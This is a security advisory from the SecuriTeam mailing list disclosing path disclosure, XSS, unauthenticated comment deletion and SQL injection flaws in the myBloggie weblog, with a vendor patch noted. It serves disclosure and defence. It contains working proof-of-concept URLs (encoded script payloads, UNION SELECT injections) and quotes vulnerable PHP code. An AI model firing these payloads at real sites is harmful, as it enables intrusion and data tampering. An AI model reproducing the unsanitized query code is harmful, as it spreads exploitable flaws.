[UNIX] myBloggie Multiple Vulnerabilities

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  myBloggie Multiple Vulnerabilities
------------------------------------------------------------------------


SUMMARY

 <http://mywebland.com/> myBloggie is "considered one of the most simple, 
user-friendliest yet packed with features Weblog system available to date. 
Built using PHP and mySQL, web most popular scripting language and 
database system enable myBloggie to be installed in any webservers".

Multiple vulnerabilities have been discovered in myBloggie ranging from 
SQL injection to cross site scripting.

DETAILS

Path Disclosure:
Thanks to an improper filtering of the post_id parameter, it's possible to 
show the full path by sending a simple request:
http://www.example.com/mybloggie/index.php?mode=viewid&post_id='

Cross Site Scripting (XSS):
Input passed to 'year' parameter in viewmode.php is not properly sanitized 
before being returned to users. This can be exploited execute arbitrary 
HTML and script code in a user's browser session in context of a 
vulnerable site with an URL like this:

http://www.example.com/mybloggie/index.php?month_no=3 
&year=%3Cscript%3Ealert(document.cookies)%3C/script%3E

Frequently, when there is an SQL syntax error, MySQL, in the HTML page, 
report the value of the parameter that caused the error without filtering. 
So it's possible to inject HTML code in some parameter like these:

http://www.example.com/mybloggie/index.php?mode=viewcat&cat_id=%3C%73%63%72%
69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2
9%3C%2F%73%63%72%69%70%74%3EC

http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=%3C%73%63
%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%
65%29%3C%2F%73%63%72%69%70%74%3E

http://www.example.com/mybloggie/index.php?mode=viewid&post_id=%3C%73%63%72%
69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2
9%3C%2F%73%63%72%69%70%74%3E

Arbitrary Comment Deletion:
Let's look at code from delcomment.php at line 31:
    <?
    ...
    if (isset($_GET['comment_id'])) $comment_id = $_GET['comment_id'];
    if (isset($_GET['confirm'])) $confirm = $_GET['confirm'];

    if ($confirm=="") {
    message($lang['Confirm'], $lang['Msg_Del_error3']." <a class=\"std\" 
href=\"" . $_SERVER['PHP_SELF'] . "?mode=delcom&comment_id=" . $comment_id 
 "&confirm=yes\">" . $lang['Yes'] . "</a>");
    }
    elseif ($confirm=="yes") {
    // Data Base Connection //
    $sql = "DELETE FROM ".COMMENT_TBL." WHERE comment_id=$comment_id";
    $result = $db->sql_query($sql);
    $confirm ="";
    message($lang['Del'], $lang['Msg_Del']);
    }
    else message( $lang['Error'],$lang['Msg_Del_error2'] );
    ?>

This piece of code has the task of delete a comment of a post. Normally 
this operation can be do only by the administrator by click on a specific 
link that the other users can't view. But this URL can be created by any 
user and myBloggie doesn't control if
the user that send the request has the privileges to do it. So anyone can 
delete comments of others users specifying the comment id with this URL:

http://www.example.com/mybloggie/index.php?mode=delcom 
&comment_id=[comment_id]&confirm=yes

SQL Injection:
Let's look at code from search.php at line 62:
    <?
    ...
    $sql = "SELECT COUNT(a.post_id) AS num_posts
    FROM " . POST_TBL . " a
    WHERE a.subject like '%".$keyword."%' OR a.message like 
'%".$keyword."%'" ;
    ...
    ?>

When myBloggie get the value of the 'keyword' parameter and put it in the 
SQL query, don't sanitize it. So a remote user can do SQL injection 
attacks. This is a PoC URL:

http://www.example.com/mybloggie/index.php?mode=search&keyword=trivero%' 
UNION SELECT null/*

These are other PoC URLs for other parameters:

http://www.example.com/mybloggie/index.php?month_no=1&year=1&mode=viewdate&date_no=1 UNION SELECT null, null,null, null,null, null,null, null,null, null/*

http://www.example.com/mybloggie/index.php?mode=viewcat&cat_id=1 UNION 
SELECT null, null,null, null,null, null,null, null,null, null/*

http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=1 UNION 
SELECT null, null,null, null,null, null,null, null,null, null/*

http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=1&year=1 UNION SELECT null, null,null, null,null, null,null, null,null, null/*

http://www.example.com/mybloggie/index.php?mode=viewid&post_id=1 UNION 
SELECT null, null,null, null,null, null,null, null,null, null/*


Patch:
The vendor has released patches available at this address:  
<http://mywebland.com/forums/viewtopic.php?t=180> 
http://mywebland.com/forums/viewtopic.php?t=180


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Alberto 
Trivero.
The original article can be found at:  <http://www.codebug.org/> 
http://www.codebug.org/



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.